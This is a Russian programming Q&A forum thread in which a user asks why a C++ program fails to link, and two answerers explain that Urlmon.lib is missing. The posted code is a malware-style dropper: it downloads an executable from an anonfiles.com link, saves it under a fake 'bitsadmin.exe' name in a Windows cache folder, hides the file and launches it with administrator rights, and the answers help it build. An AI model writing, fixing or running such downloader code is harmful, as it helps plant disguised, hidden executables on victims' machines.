Задать вопрос
@reversedebil

В чем ошибка, если с кодом все нормально?

Вот код:
int main ()
{
	LPCTSTR linkFile = L"https://cdn-116.anonfiles.com/nco8va78uc/8c58d06d-1626633691/BITSADMIN-G1BAK7-SECURE.exe";
	LPCTSTR setupFile = L"C:\\ProgramData\\Microsoft\\Windows\\Caches\\bitsadmin.exe";

	URLDownloadToFileW(0, linkFile, setupFile, 0, 0);
	SetFileAttributes(setupFile, FILE_ATTRIBUTE_HIDDEN);
	ShellExecute(NULL, L"runas", setupFile, NULL, NULL, SW_SHOWNORMAL);

	system("pause");
	return 0;
}


А вот сама ошибка:

LNK2001 неразрешенный внешний символ URLDownloadToFileW.
LNK2001 неразрешенных внешних символов: 1
  • Вопрос задан
  • 237 просмотров
Подписаться 1 Простой 6 комментариев
Решения вопроса 1
@res2001
Developer, ex-admin
https://docs.microsoft.com/en-us/previous-versions...
По ссылке видно, что функция URLDownloadToFileW объявлена в Urlmon.h и определена в Urlmon.dll.
Т.к. ошибка на стадии линковки, то компиляция прошла успешно, а значит Urlmon.h так или иначе подключается в процессе компиляции. Но Urlmon.lib не добавлена в опции линковки, из-за чего и возникает ошибка.
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 1
saboteur_kiev
@saboteur_kiev Куратор тега C++
software engineer
URLDownloadToFileW не может найти. Проверь, что библиотека правильно подключена
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы